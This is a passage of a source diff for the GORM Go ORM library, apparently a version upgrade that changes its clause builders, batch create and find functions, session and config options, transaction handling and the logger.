builder.WriteString(" IS NOT NULL")
} else {
builder.WriteString(" <> ")
builder.AddVar(builder, neq.Value)
}
}
}
func (neq Neq) NegationBuild(builder Builder) {
Eq{neq.Column, neq.Value}.Build(builder)
Eq(neq).Build(builder)
}
// Gt greater than for where
@@ -233,7 +304,7 @@ func (gt Gt) Build(builder Builder) {
}
func (gt Gt) NegationBuild(builder Builder) {
Lte{gt.Column, gt.Value}.Build(builder)
Lte(gt).Build(builder)
}
// Gte greater than or equal to for where
@@ -246,7 +317,7 @@ func (gte Gte) Build(builder Builder) {
}
func (gte Gte) NegationBuild(builder Builder) {
Lt{gte.Column, gte.Value}.Build(builder)
Lt(gte).Build(builder)
}
// Lt less than for where
@@ -259,7 +330,7 @@ func (lt Lt) Build(builder Builder) {
}
func (lt Lt) NegationBuild(builder Builder) {
Gte{lt.Column, lt.Value}.Build(builder)
Gte(lt).Build(builder)
}
// Lte less than or equal to for where
@@ -272,7 +343,7 @@ func (lte Lte) Build(builder Builder) {
}
func (lte Lte) NegationBuild(builder Builder) {
Gt{lte.Column, lte.Value}.Build(builder)
Gt(lte).Build(builder)
}
// Like whether string matches regular expression
@@ -289,3 +360,16 @@ func (like Like) NegationBuild(builder Builder) {
builder.WriteString(" NOT LIKE ")
builder.AddVar(builder, like.Value)
}
func eqNil(value interface{}) bool {
if valuer, ok := value.(driver.Valuer); ok {
value, _ = valuer.Value()
}
return value == nil || eqNilReflect(value)
}
func eqNilReflect(value interface{}) bool {
reflectValue := reflect.ValueOf(value)
return reflectValue.Kind() == reflect.Ptr && reflectValue.IsNil()
}
+6
View File
@@ -39,4 +39,10 @@ func (groupBy GroupBy) MergeClause(clause *Clause) {
groupBy.Having = append(copiedHaving, groupBy.Having...)
}
clause.Expression = groupBy
if len(groupBy.Columns) == 0 {
clause.Name = ""
} else {
clause.Name = groupBy.Name()
}
}
+22 -7
View File
@@ -1,10 +1,13 @@
package clause
type OnConflict struct {
Columns []Column
Where Where
DoNothing bool
DoUpdates Set
Columns []Column
Where Where
TargetWhere Where
OnConstraint string
DoNothing bool
DoUpdates Set
UpdateAll bool
}
func (OnConflict) Name() string {
@@ -23,10 +26,16 @@ func (onConflict OnConflict) Build(builder Builder) {
}
builder.WriteString(`) `)
}
if len(onConflict.TargetWhere.Exprs) > 0 {
builder.WriteString(" WHERE ")
onConflict.TargetWhere.Build(builder)
builder.WriteByte(' ')
}
if len(onConflict.Where.Exprs) > 0 {
builder.WriteString("WHERE ")
onConflict.Where.Build(builder)
if onConflict.OnConstraint != "" {
builder.WriteString("ON CONSTRAINT ")
builder.WriteString(onConflict.OnConstraint)
builder.WriteByte(' ')
}
@@ -36,6 +45,12 @@ func (onConflict OnConflict) Build(builder Builder) {
builder.WriteString("DO UPDATE SET ")
onConflict.DoUpdates.Build(builder)
}
if len(onConflict.Where.Exprs) > 0 {
builder.WriteString(" WHERE ")
onConflict.Where.Build(builder)
builder.WriteByte(' ')
}
}
// MergeClause merge onConflict clauses
+14
View File
@@ -43,3 +43,17 @@ func (s Select) MergeClause(clause *Clause) {
clause.Expression = s
}
}
// CommaExpression represents a group of expressions separated by commas.
type CommaExpression struct {
Exprs []Expression
}
func (comma CommaExpression) Build(builder Builder) {
for idx, expr := range comma.Exprs {
if idx > 0 {
_, _ = builder.WriteString(", ")
}
expr.Build(builder)
}
}
+10 -2
View File
@@ -2,13 +2,15 @@ package gorm
import (
"errors"
"gorm.io/gorm/logger"
)
var (
// ErrRecordNotFound record not found error
ErrRecordNotFound = errors.New("record not found")
ErrRecordNotFound = logger.ErrRecordNotFound
// ErrInvalidTransaction invalid transaction when you are trying to `Commit` or `Rollback`
ErrInvalidTransaction = errors.New("no valid transaction")
ErrInvalidTransaction = errors.New("invalid transaction")
// ErrNotImplemented not implemented
ErrNotImplemented = errors.New("not implemented")
// ErrMissingWhereClause missing where clause
@@ -31,4 +33,10 @@ var (
ErrEmptySlice = errors.New("empty slice found")
// ErrDryRunModeUnsupported dry run mode unsupported
ErrDryRunModeUnsupported = errors.New("dry run mode unsupported")
// ErrInvalidDB invalid db
ErrInvalidDB = errors.New("invalid db")
// ErrInvalidValue invalid value
ErrInvalidValue = errors.New("invalid value, should be pointer to struct or slice")
// ErrInvalidValueOfLength invalid values do not match length
ErrInvalidValueOfLength = errors.New("invalid association values, length doesn't match")
)
+177 -87
View File
@@ -15,9 +15,56 @@ import (
// Create insert the value into database
func (db *DB) Create(value interface{}) (tx *DB) {
if db.CreateBatchSize > 0 {
return db.CreateInBatches(value, db.CreateBatchSize)
}
tx = db.getInstance()
tx.Statement.Dest = value
tx.callbacks.Create().Execute(tx)
return tx.callbacks.Create().Execute(tx)
}
// CreateInBatches insert the value in batches into database
func (db *DB) CreateInBatches(value interface{}, batchSize int) (tx *DB) {
reflectValue := reflect.Indirect(reflect.ValueOf(value))
switch reflectValue.Kind() {
case reflect.Slice, reflect.Array:
var rowsAffected int64
tx = db.getInstance()
callFc := func(tx *DB) error {
// the reflection length judgment of the optimized value
reflectLen := reflectValue.Len()
for i := 0; i < reflectLen; i += batchSize {
ends := i + batchSize
if ends > reflectLen {
ends = reflectLen
}
subtx := tx.getInstance()
subtx.Statement.Dest = reflectValue.Slice(i, ends).Interface()
subtx.callbacks.Create().Execute(subtx)
if subtx.Error != nil {
return subtx.Error
}
rowsAffected += subtx.RowsAffected
}
return nil
}
if tx.SkipDefaultTransaction {
tx.AddError(callFc(tx.Session(&Session{})))
} else {
tx.AddError(tx.Transaction(callFc))
}
tx.RowsAffected = rowsAffected
default:
tx = db.getInstance()
tx.Statement.Dest = value
tx = tx.callbacks.Create().Execute(tx)
}
return
}
@@ -29,14 +76,15 @@ func (db *DB) Save(value interface{}) (tx *DB) {
reflectValue := reflect.Indirect(reflect.ValueOf(value))
switch reflectValue.Kind() {
case reflect.Slice, reflect.Array:
tx.Statement.UpdatingColumn = true
tx.callbacks.Create().Execute(tx)
if _, ok := tx.Statement.Clauses["ON CONFLICT"]; !ok {
tx = tx.Clauses(clause.OnConflict{UpdateAll: true})
}
tx = tx.callbacks.Create().Execute(tx.Set("gorm:update_track_time", true))
case reflect.Struct:
if err := tx.Statement.Parse(value); err == nil && tx.Statement.Schema != nil {
for _, pf := range tx.Statement.Schema.PrimaryFields {
if _, isZero := pf.ValueOf(reflectValue); isZero {
tx.callbacks.Create().Execute(tx)
return
return tx.callbacks.Create().Execute(tx)
}
}
}
@@ -49,11 +97,11 @@ func (db *DB) Save(value interface{}) (tx *DB) {
tx.Statement.Selects = append(tx.Statement.Selects, "*")
}
tx.callbacks.Update().Execute(tx)
tx = tx.callbacks.Update().Execute(tx)
if tx.Error == nil && tx.RowsAffected == 0 && !tx.DryRun && !selectedUpdate {
result := reflect.New(tx.Statement.Schema.ModelType).Interface()
if err := tx.Session(&Session{WithConditions: true}).First(result).Error; errors.Is(err, ErrRecordNotFound) {
if err := tx.Session(&Session{}).First(result).Error; errors.Is(err, ErrRecordNotFound) {
return tx.Create(value)
}
}
@@ -68,24 +116,26 @@ func (db *DB) First(dest interface{}, conds ...interface{}) (tx *DB) {
Column: clause.Column{Table: clause.CurrentTable, Name: clause.PrimaryKey},
})
if len(conds) > 0 {
tx.Statement.AddClause(clause.Where{Exprs: tx.Statement.BuildCondition(conds[0], conds[1:]...)})
if exprs := tx.Statement.BuildCondition(conds[0], conds[1:]...); len(exprs) > 0 {
tx.Statement.AddClause(clause.Where{Exprs: exprs})
}
}
tx.Statement.RaiseErrorOnNotFound = true
tx.Statement.Dest = dest
tx.callbacks.Query().Execute(tx)
return
return tx.callbacks.Query().Execute(tx)
}
// Take return a record that match given conditions, the order will depend on the database implementation
func (db *DB) Take(dest interface{}, conds ...interface{}) (tx *DB) {
tx = db.Limit(1)
if len(conds) > 0 {
tx.Statement.AddClause(clause.Where{Exprs: tx.Statement.BuildCondition(conds[0], conds[1:]...)})
if exprs := tx.Statement.BuildCondition(conds[0], conds[1:]...); len(exprs) > 0 {
tx.Statement.AddClause(clause.Where{Exprs: exprs})
}
}
tx.Statement.RaiseErrorOnNotFound = true
tx.Statement.Dest = dest
tx.callbacks.Query().Execute(tx)
return
return tx.callbacks.Query().Execute(tx)
}
// Last find last record that match given conditions, order by primary key
@@ -95,47 +145,66 @@ func (db *DB) Last(dest interface{}, conds ...interface{}) (tx *DB) {
Desc: true,
})
if len(conds) > 0 {
tx.Statement.AddClause(clause.Where{Exprs: tx.Statement.BuildCondition(conds[0], conds[1:]...)})
if exprs := tx.Statement.BuildCondition(conds[0], conds[1:]...); len(exprs) > 0 {
tx.Statement.AddClause(clause.Where{Exprs: exprs})
}
}
tx.Statement.RaiseErrorOnNotFound = true
tx.Statement.Dest = dest
tx.callbacks.Query().Execute(tx)
return
return tx.callbacks.Query().Execute(tx)
}
// Find find records that match given conditions
func (db *DB) Find(dest interface{}, conds ...interface{}) (tx *DB) {
tx = db.getInstance()
if len(conds) > 0 {
tx.Statement.AddClause(clause.Where{Exprs: tx.Statement.BuildCondition(conds[0], conds[1:]...)})
if exprs := tx.Statement.BuildCondition(conds[0], conds[1:]...); len(exprs) > 0 {
tx.Statement.AddClause(clause.Where{Exprs: exprs})
}
}
tx.Statement.Dest = dest
tx.callbacks.Query().Execute(tx)
return
return tx.callbacks.Query().Execute(tx)
}
// FindInBatches find records in batches
func (db *DB) FindInBatches(dest interface{}, batchSize int, fc func(tx *DB, batch int) error) (tx *DB) {
tx = db.Session(&Session{WithConditions: true})
rowsAffected := int64(0)
batch := 0
func (db *DB) FindInBatches(dest interface{}, batchSize int, fc func(tx *DB, batch int) error) *DB {
var (
tx = db.Order(clause.OrderByColumn{
Column: clause.Column{Table: clause.CurrentTable, Name: clause.PrimaryKey},
}).Session(&Session{})
queryDB = tx
rowsAffected int64
batch int
)
for {
result := tx.Limit(batchSize).Offset(batch * batchSize).Find(dest)
result := queryDB.Limit(batchSize).Find(dest)
rowsAffected += result.RowsAffected
batch++
if result.Error == nil && result.RowsAffected != 0 {
tx.AddError(fc(result, batch))
} else if result.Error != nil {
tx.AddError(result.Error)
}
if tx.Error != nil || int(result.RowsAffected) < batchSize {
break
}
// Optimize for-break
resultsValue := reflect.Indirect(reflect.ValueOf(dest))
if result.Statement.Schema.PrioritizedPrimaryField == nil {
tx.AddError(ErrPrimaryKeyRequired)
break
}
primaryValue, _ := result.Statement.Schema.PrioritizedPrimaryField.ValueOf(resultsValue.Index(resultsValue.Len() - 1))
queryDB = tx.Clauses(clause.Gt{Column: clause.Column{Table: clause.CurrentTable, Name: clause.PrimaryKey}, Value: primaryValue})
}
tx.RowsAffected = rowsAffected
return
return tx
}
func (tx *DB) assignInterfacesToValue(values ...interface{}) {
@@ -159,8 +228,9 @@ func (tx *DB) assignInterfacesToValue(values ...interface{}) {
}
}
case clause.Expression, map[string]string, map[interface{}]interface{}, map[string]interface{}:
exprs := tx.Statement.BuildCondition(value)
tx.assignInterfacesToValue(exprs)
if exprs := tx.Statement.BuildCondition(value); len(exprs) > 0 {
tx.assignInterfacesToValue(exprs)
}
default:
if s, err := schema.Parse(value, tx.cacheStore, tx.NamingStrategy); err == nil {
reflectValue := reflect.Indirect(reflect.ValueOf(value))
@@ -177,8 +247,9 @@ func (tx *DB) assignInterfacesToValue(values ...interface{}) {
}
}
} else if len(values) > 0 {
exprs := tx.Statement.BuildCondition(values[0], values[1:]...)
tx.assignInterfacesToValue(exprs)
if exprs := tx.Statement.BuildCondition(values[0], values[1:]...); len(exprs) > 0 {
tx.assignInterfacesToValue(exprs)
}
return
}
}
@@ -186,7 +257,11 @@ func (tx *DB) assignInterfacesToValue(values ...interface{}) {
}
func (db *DB) FirstOrInit(dest interface{}, conds ...interface{}) (tx *DB) {
if tx = db.First(dest, conds...); errors.Is(tx.Error, ErrRecordNotFound) {
queryTx := db.Limit(1).Order(clause.OrderByColumn{
Column: clause.Column{Table: clause.CurrentTable, Name: clause.PrimaryKey},
})
if tx = queryTx.Find(dest, conds...); queryTx.RowsAffected == 0 {
if c, ok := tx.Statement.Clauses["WHERE"]; ok {
if where, ok := c.Expression.(clause.Where); ok {
tx.assignInterfacesToValue(where.Exprs)
@@ -197,7 +272,6 @@ func (db *DB) FirstOrInit(dest interface{}, conds ...interface{}) (tx *DB) {
if len(tx.Statement.attrs) > 0 {
tx.assignInterfacesToValue(tx.Statement.attrs...)
}
tx.Error = nil
}
// initialize with attrs, conds
@@ -208,9 +282,11 @@ func (db *DB) FirstOrInit(dest interface{}, conds ...interface{}) (tx *DB) {
}
func (db *DB) FirstOrCreate(dest interface{}, conds ...interface{}) (tx *DB) {
if tx = db.First(dest, conds...); errors.Is(tx.Error, ErrRecordNotFound) {
tx.Error = nil
queryTx := db.Limit(1).Order(clause.OrderByColumn{
Column: clause.Column{Table: clause.CurrentTable, Name: clause.PrimaryKey},
})
if tx = queryTx.Find(dest, conds...); queryTx.RowsAffected == 0 {
if c, ok := tx.Statement.Clauses["WHERE"]; ok {
if where, ok := c.Expression.(clause.Where); ok {
tx.assignInterfacesToValue(where.Exprs)
@@ -229,7 +305,7 @@ func (db *DB) FirstOrCreate(dest interface{}, conds ...interface{}) (tx *DB) {
return tx.Create(dest)
} else if len(db.Statement.assigns) > 0 {
exprs := tx.Statement.BuildCondition(tx.Statement.assigns[0], tx.Statement.assigns[1:]...)
exprs := tx.Statement.BuildCondition(db.Statement.assigns[0], db.Statement.assigns[1:]...)
assigns := map[string]interface{}{}
for _, expr := range exprs {
if eq, ok := expr.(clause.Eq); ok {
@@ -253,43 +329,40 @@ func (db *DB) FirstOrCreate(dest interface{}, conds ...interface{}) (tx *DB) {
func (db *DB) Update(column string, value interface{}) (tx *DB) {
tx = db.getInstance()
tx.Statement.Dest = map[string]interface{}{column: value}
tx.callbacks.Update().Execute(tx)
return
return tx.callbacks.Update().Execute(tx)
}
// Updates update attributes with callbacks, refer: https://gorm.io/docs/update.html#Update-Changed-Fields
func (db *DB) Updates(values interface{}) (tx *DB) {
tx = db.getInstance()
tx.Statement.Dest = values
tx.callbacks.Update().Execute(tx)
return
return tx.callbacks.Update().Execute(tx)
}
func (db *DB) UpdateColumn(column string, value interface{}) (tx *DB) {
tx = db.getInstance()
tx.Statement.Dest = map[string]interface{}{column: value}
tx.Statement.UpdatingColumn = true
tx.callbacks.Update().Execute(tx)
return
tx.Statement.SkipHooks = true
return tx.callbacks.Update().Execute(tx)
}
func (db *DB) UpdateColumns(values interface{}) (tx *DB) {
tx = db.getInstance()
tx.Statement.Dest = values
tx.Statement.UpdatingColumn = true
tx.callbacks.Update().Execute(tx)
return
tx.Statement.SkipHooks = true
return tx.callbacks.Update().Execute(tx)
}
// Delete delete value match given conditions, if the value has primary key, then will including the primary key as condition
func (db *DB) Delete(value interface{}, conds ...interface{}) (tx *DB) {
tx = db.getInstance()
if len(conds) > 0 {
tx.Statement.AddClause(clause.Where{Exprs: tx.Statement.BuildCondition(conds[0], conds[1:]...)})
if exprs := tx.Statement.BuildCondition(conds[0], conds[1:]...); len(exprs) > 0 {
tx.Statement.AddClause(clause.Where{Exprs: exprs})
}
}
tx.Statement.Dest = value
tx.callbacks.Delete().Execute(tx)
return
return tx.callbacks.Delete().Execute(tx)
}
func (db *DB) Count(count *int64) (tx *DB) {
@@ -301,42 +374,51 @@ func (db *DB) Count(count *int64) (tx *DB) {
}()
}
if len(tx.Statement.Selects) == 0 {
tx.Statement.AddClause(clause.Select{Expression: clause.Expr{SQL: "count(1)"}})
if selectClause, ok := db.Statement.Clauses["SELECT"]; ok {
defer func() {
tx.Statement.Clauses["SELECT"] = selectClause
}()
} else {
defer delete(tx.Statement.Clauses, "SELECT")
} else if !strings.Contains(strings.ToLower(tx.Statement.Selects[0]), "count(") {
expr := clause.Expr{SQL: "count(1)"}
}
if len(tx.Statement.Selects) == 0 {
tx.Statement.AddClause(clause.Select{Expression: clause.Expr{SQL: "count(*)"}})
} else if !strings.HasPrefix(strings.TrimSpace(strings.ToLower(tx.Statement.Selects[0])), "count(") {
expr := clause.Expr{SQL: "count(*)"}
if len(tx.Statement.Selects) == 1 {
dbName := tx.Statement.Selects[0]
if tx.Statement.Parse(tx.Statement.Model) == nil {
if f := tx.Statement.Schema.LookUpField(dbName); f != nil {
dbName = f.DBName
fields := strings.FieldsFunc(dbName, utils.IsValidDBNameChar)
if len(fields) == 1 || (len(fields) == 3 && (strings.ToUpper(fields[1]) == "AS" || fields[1] == ".")) {
if tx.Statement.Parse(tx.Statement.Model) == nil {
if f := tx.Statement.Schema.LookUpField(dbName); f != nil {
dbName = f.DBName
}
}
}
if tx.Statement.Distinct {
expr = clause.Expr{SQL: "COUNT(DISTINCT(?))", Vars: []interface{}{clause.Column{Name: dbName}}}
} else {
expr = clause.Expr{SQL: "COUNT(?)", Vars: []interface{}{clause.Column{Name: dbName}}}
if tx.Statement.Distinct {
expr = clause.Expr{SQL: "COUNT(DISTINCT(?))", Vars: []interface{}{clause.Column{Name: dbName}}}
} else {
expr = clause.Expr{SQL: "COUNT(?)", Vars: []interface{}{clause.Column{Name: dbName}}}
}
}
}
tx.Statement.AddClause(clause.Select{Expression: expr})
defer tx.Statement.AddClause(clause.Select{})
}
if orderByClause, ok := db.Statement.Clauses["ORDER BY"]; ok {
if _, ok := db.Statement.Clauses["GROUP BY"]; !ok {
delete(db.Statement.Clauses, "ORDER BY")
delete(tx.Statement.Clauses, "ORDER BY")
defer func() {
db.Statement.Clauses["ORDER BY"] = orderByClause
tx.Statement.Clauses["ORDER BY"] = orderByClause
}()
}
}
tx.Statement.Dest = count
tx.callbacks.Query().Execute(tx)
tx = tx.callbacks.Query().Execute(tx)
if tx.RowsAffected != 1 {
*count = tx.RowsAffected
}
@@ -344,8 +426,8 @@ func (db *DB) Count(count *int64) (tx *DB) {
}
func (db *DB) Row() *sql.Row {
tx := db.getInstance().InstanceSet("rows", false)
tx.callbacks.Row().Execute(tx)
tx := db.getInstance().Set("rows", false)
tx = tx.callbacks.Row().Execute(tx)
row, ok := tx.Statement.Dest.(*sql.Row)
if !ok && tx.DryRun {
db.Logger.Error(tx.Statement.Context, ErrDryRunModeUnsupported.Error())
@@ -354,8 +436,8 @@ func (db *DB) Row() *sql.Row {
}
func (db *DB) Rows() (*sql.Rows, error) {
tx := db.getInstance().InstanceSet("rows", true)
tx.callbacks.Row().Execute(tx)
tx := db.getInstance().Set("rows", true)
tx = tx.callbacks.Row().Execute(tx)
rows, ok := tx.Statement.Dest.(*sql.Rows)
if !ok && tx.DryRun && tx.Error == nil {
tx.Error = ErrDryRunModeUnsupported
@@ -378,6 +460,8 @@ func (db *DB) Scan(dest interface{}) (tx *DB) {
defer rows.Close()
if rows.Next() {
tx.ScanRows(rows, dest)
} else {
tx.RowsAffected = 0
}
}
@@ -390,7 +474,7 @@ func (db *DB) Scan(dest interface{}) (tx *DB) {
// Pluck used to query single column from a model as a map
// var ages []int64
// db.Find(&users).Pluck("age", &ages)
// db.Model(&users).Pluck("age", &ages)
func (db *DB) Pluck(column string, dest interface{}) (tx *DB) {
tx = db.getInstance()
if tx.Statement.Model != nil {
@@ -403,14 +487,15 @@ func (db *DB) Pluck(column string, dest interface{}) (tx *DB) {
tx.AddError(ErrModelValueRequired)
}
fields := strings.FieldsFunc(column, utils.IsValidDBNameChar)
tx.Statement.AddClauseIfNotExists(clause.Select{
Distinct: tx.Statement.Distinct,
Columns: []clause.Column{{Name: column, Raw: len(fields) != 1}},
})
if len(tx.Statement.Selects) != 1 {
fields := strings.FieldsFunc(column, utils.IsValidDBNameChar)
tx.Statement.AddClauseIfNotExists(clause.Select{
Distinct: tx.Statement.Distinct,
Columns: []clause.Column{{Name: column, Raw: len(fields) != 1}},
})
}
tx.Statement.Dest = dest
tx.callbacks.Query().Execute(tx)
return
return tx.callbacks.Query().Execute(tx)
}
func (db *DB) ScanRows(rows *sql.Rows, dest interface{}) error {
@@ -433,15 +518,19 @@ func (db *DB) Transaction(fc func(tx *DB) error, opts ...*sql.TxOptions) (err er
if committer, ok := db.Statement.ConnPool.(TxCommitter); ok && committer != nil {
// nested transaction
db.SavePoint(fmt.Sprintf("sp%p", fc))
defer func() {
// Make sure to rollback when panic, Block error or Commit error
if panicked || err != nil {
db.RollbackTo(fmt.Sprintf("sp%p", fc))
}
}()
if !db.DisableNestedTransaction {
err = db.SavePoint(fmt.Sprintf("sp%p", fc)).Error
defer func() {
// Make sure to rollback when panic, Block error or Commit error
if panicked || err != nil {
db.RollbackTo(fmt.Sprintf("sp%p", fc))
}
}()
}
err = fc(db.Session(&Session{WithConditions: true}))
if err == nil {
err = fc(db.Session(&Session{}))
}
} else {
tx := db.Begin(opts...)
@@ -452,7 +541,9 @@ func (db *DB) Transaction(fc func(tx *DB) error, opts ...*sql.TxOptions) (err er
}
}()
err = fc(tx)
if err = tx.Error; err == nil {
err = fc(tx)
}
if err == nil {
err = tx.Commit().Error
@@ -467,7 +558,7 @@ func (db *DB) Transaction(fc func(tx *DB) error, opts ...*sql.TxOptions) (err er
func (db *DB) Begin(opts ...*sql.TxOptions) *DB {
var (
// clone statement
tx = db.Session(&Session{WithConditions: true, Context: db.Statement.Context})
tx = db.getInstance().Session(&Session{Context: db.Statement.Context})
opt *sql.TxOptions
err error
)
@@ -542,6 +633,5 @@ func (db *DB) Exec(sql string, values ...interface{}) (tx *DB) {
clause.Expr{SQL: sql, Vars: values}.Build(tx.Statement)
}
tx.callbacks.Raw().Execute(tx)
return
return tx.callbacks.Raw().Execute(tx)
}
+112 -36
View File
@@ -3,8 +3,8 @@ package gorm
import (
"context"
"database/sql"
"errors"
"fmt"
"sort"
"sync"
"time"
@@ -13,6 +13,9 @@ import (
"gorm.io/gorm/schema"
)
// for Config.cacheStore store PreparedStmtDB key
const preparedStmtDBKey = "preparedStmt"
// Config GORM config
type Config struct {
// GORM perform single create, update, delete operations in transactions by default to ensure database data integrity
@@ -34,8 +37,14 @@ type Config struct {
DisableAutomaticPing bool
// DisableForeignKeyConstraintWhenMigrating
DisableForeignKeyConstraintWhenMigrating bool
// DisableNestedTransaction disable nested transaction
DisableNestedTransaction bool
// AllowGlobalUpdate allow global update
AllowGlobalUpdate bool
// QueryFields executes the SQL query with all fields of the table
QueryFields bool
// CreateBatchSize default create batch size
CreateBatchSize int
// ClauseBuilders clause builder
ClauseBuilders map[string]clause.ClauseBuilder
@@ -50,6 +59,29 @@ type Config struct {
cacheStore *sync.Map
}
func (c *Config) Apply(config *Config) error {
if config != c {
*config = *c
}
return nil
}
func (c *Config) AfterInitialize(db *DB) error {
if db != nil {
for _, plugin := range c.Plugins {
if err := plugin.Initialize(db); err != nil {
return err
}
}
}
return nil
}
type Option interface {
Apply(*Config) error
AfterInitialize(*DB) error
}
// DB GORM DB definition
type DB struct {
*Config
@@ -61,21 +93,48 @@ type DB struct {
// Session session config when create session with Session() method
type Session struct {
DryRun bool
PrepareStmt bool
WithConditions bool
SkipDefaultTransaction bool
AllowGlobalUpdate bool
FullSaveAssociations bool
Context context.Context
Logger logger.Interface
NowFunc func() time.Time
DryRun bool
PrepareStmt bool
NewDB bool
SkipHooks bool
SkipDefaultTransaction bool
DisableNestedTransaction bool
AllowGlobalUpdate bool
FullSaveAssociations bool
QueryFields bool
Context context.Context
Logger logger.Interface
NowFunc func() time.Time
CreateBatchSize int
}
// Open initialize db session based on dialector
func Open(dialector Dialector, config *Config) (db *DB, err error) {
if config == nil {
config = &Config{}
func Open(dialector Dialector, opts ...Option) (db *DB, err error) {
config := &Config{}
sort.Slice(opts, func(i, j int) bool {
_, isConfig := opts[i].(*Config)
_, isConfig2 := opts[j].(*Config)
return isConfig && !isConfig2
})
for _, opt := range opts {
if opt != nil {
if err := opt.Apply(config); err != nil {
return nil, err
}
defer func(opt Option) {
if errr := opt.AfterInitialize(db); errr != nil {
err = errr
}
}(opt)
}
}
if d, ok := dialector.(interface{ Apply(*Config) error }); ok {
if err = d.Apply(config); err != nil {
return
}
}
if config.NamingStrategy == nil {
@@ -116,11 +175,11 @@ func Open(dialector Dialector, config *Config) (db *DB, err error) {
preparedStmt := &PreparedStmtDB{
ConnPool: db.ConnPool,
Stmts: map[string]*sql.Stmt{},
Stmts: map[string]Stmt{},
Mux: &sync.RWMutex{},
PreparedSQL: make([]string, 0, 100),
}
db.cacheStore.Store("preparedStmt", preparedStmt)
db.cacheStore.Store(preparedStmtDBKey, preparedStmt)
if config.PrepareStmt {
db.ConnPool = preparedStmt
@@ -153,9 +212,13 @@ func (db *DB) Session(config *Session) *DB {
tx = &DB{
Config: &txConfig,
Statement: db.Statement,
Error: db.Error,
clone: 1,
}
)
if config.CreateBatchSize > 0 {
tx.Config.CreateBatchSize = config.CreateBatchSize
}
if config.SkipDefaultTransaction {
tx.Config.SkipDefaultTransaction = true
@@ -169,15 +232,17 @@ func (db *DB) Session(config *Session) *DB {
txConfig.FullSaveAssociations = true
}
if config.Context != nil {
if config.Context != nil || config.PrepareStmt || config.SkipHooks {
tx.Statement = tx.Statement.clone()
tx.Statement.DB = tx
}
if config.Context != nil {
tx.Statement.Context = config.Context
}
if config.PrepareStmt {
if v, ok := db.cacheStore.Load("preparedStmt"); ok {
tx.Statement = tx.Statement.clone()
if v, ok := db.cacheStore.Load(preparedStmtDBKey); ok {
preparedStmt := v.(*PreparedStmtDB)
tx.Statement.ConnPool = &PreparedStmtDB{
ConnPool: db.Config.ConnPool,
@@ -189,7 +254,15 @@ func (db *DB) Session(config *Session) *DB {
}
}
if config.WithConditions {
if config.SkipHooks {
tx.Statement.SkipHooks = true
}
if config.DisableNestedTransaction {
txConfig.DisableNestedTransaction = true
}
if !config.NewDB {
tx.clone = 2
}
@@ -197,6 +270,10 @@ func (db *DB) Session(config *Session) *DB {
tx.Config.DryRun = true
}
if config.QueryFields {
tx.Config.QueryFields = true
}
if config.Logger != nil {
tx.Config.Logger = config.Logger
}
@@ -210,14 +287,13 @@ func (db *DB) Session(config *Session) *DB {
// WithContext change current instance db's context to ctx
func (db *DB) WithContext(ctx context.Context) *DB {
return db.Session(&Session{WithConditions: true, Context: ctx})
return db.Session(&Session{Context: ctx})
}
// Debug start debug mode
func (db *DB) Debug() (tx *DB) {
return db.Session(&Session{
WithConditions: true,
Logger: db.Logger.LogMode(logger.Info),
Logger: db.Logger.LogMode(logger.Info),
})
}
@@ -264,20 +340,20 @@ func (db *DB) AddError(err error) error {
func (db *DB) DB() (*sql.DB, error) {
connPool := db.ConnPool
if stmtDB, ok := connPool.(*PreparedStmtDB); ok {
connPool = stmtDB.ConnPool
if dbConnector, ok := connPool.(GetDBConnector); ok && dbConnector != nil {
return dbConnector.GetDBConn()
}
if sqldb, ok := connPool.(*sql.DB); ok {
return sqldb, nil
}
return nil, errors.New("invalid db")
return nil, ErrInvalidDB
}
func (db *DB) getInstance() *DB {
if db.clone > 0 {
tx := &DB{Config: db.Config}
tx := &DB{Config: db.Config, Error: db.Error}
if db.clone == 1 {
// clone with new statement
@@ -286,6 +362,7 @@ func (db *DB) getInstance() *DB {
ConnPool: db.Statement.ConnPool,
Context: db.Statement.Context,
Clauses: map[string]clause.Clause{},
Vars: make([]interface{}, 0, 8),
}
} else {
// with clone statement
@@ -332,7 +409,7 @@ func (db *DB) SetupJoinTable(model interface{}, field string, joinTable interfac
}
ref.ForeignKey = f
} else {
return fmt.Errorf("missing field %v for join table", ref.ForeignKey.DBName)
return fmt.Errorf("missing field %s for join table", ref.ForeignKey.DBName)
}
}
@@ -345,21 +422,20 @@ func (db *DB) SetupJoinTable(model interface{}, field string, joinTable interfac
relation.JoinTable = joinSchema
} else {
return fmt.Errorf("failed to found relation: %v", field)
return fmt.Errorf("failed to found relation: %s", field)
}
return nil
}
func (db *DB) Use(plugin Plugin) (err error) {
func (db *DB) Use(plugin Plugin) error {
name := plugin.Name()
if _, ok := db.Plugins[name]; !ok {
if err = plugin.Initialize(db); err == nil {
db.Plugins[name] = plugin
}
} else {
if _, ok := db.Plugins[name]; ok {
return ErrRegistered
}
return err
if err := plugin.Initialize(db); err != nil {
return err
}
db.Plugins[name] = plugin
return nil
}
+4
View File
@@ -57,3 +57,7 @@ type TxCommitter interface {
type Valuer interface {
GormValue(context.Context, *DB) clause.Expr
}
type GetDBConnector interface {
GetDBConn() (*sql.DB, error)
}
+40 -32
View File
@@ -2,6 +2,7 @@ package logger
import (
"context"
"errors"
"fmt"
"io/ioutil"
"log"
@@ -11,6 +12,8 @@ import (
"gorm.io/gorm/utils"
)
var ErrRecordNotFound = errors.New("record not found")
// Colors
const (
Reset = "\033[0m"
@@ -43,9 +46,10 @@ type Writer interface {
}
type Config struct {
SlowThreshold time.Duration
Colorful bool
LogLevel LogLevel
SlowThreshold time.Duration
Colorful bool
IgnoreRecordNotFoundError bool
LogLevel LogLevel
}
// Interface logger interface
@@ -54,15 +58,16 @@ type Interface interface {
Info(context.Context, string, ...interface{})
Warn(context.Context, string, ...interface{})
Error(context.Context, string, ...interface{})
Trace(ctx context.Context, begin time.Time, fc func() (string, int64), err error)
Trace(ctx context.Context, begin time.Time, fc func() (sql string, rowsAffected int64), err error)
}
var (
Discard = New(log.New(ioutil.Discard, "", log.LstdFlags), Config{})
Default = New(log.New(os.Stdout, "\r\n", log.LstdFlags), Config{
SlowThreshold: 200 * time.Millisecond,
LogLevel: Warn,
Colorful: true,
SlowThreshold: 200 * time.Millisecond,
LogLevel: Warn,
IgnoreRecordNotFoundError: false,
Colorful: true,
})
Recorder = traceRecorder{Interface: Default, BeginAt: time.Now()}
)
@@ -135,31 +140,34 @@ func (l logger) Error(ctx context.Context, msg string, data ...interface{}) {
// Trace print sql message
func (l logger) Trace(ctx context.Context, begin time.Time, fc func() (string, int64), err error) {
if l.LogLevel > 0 {
elapsed := time.Since(begin)
switch {
case err != nil && l.LogLevel >= Error:
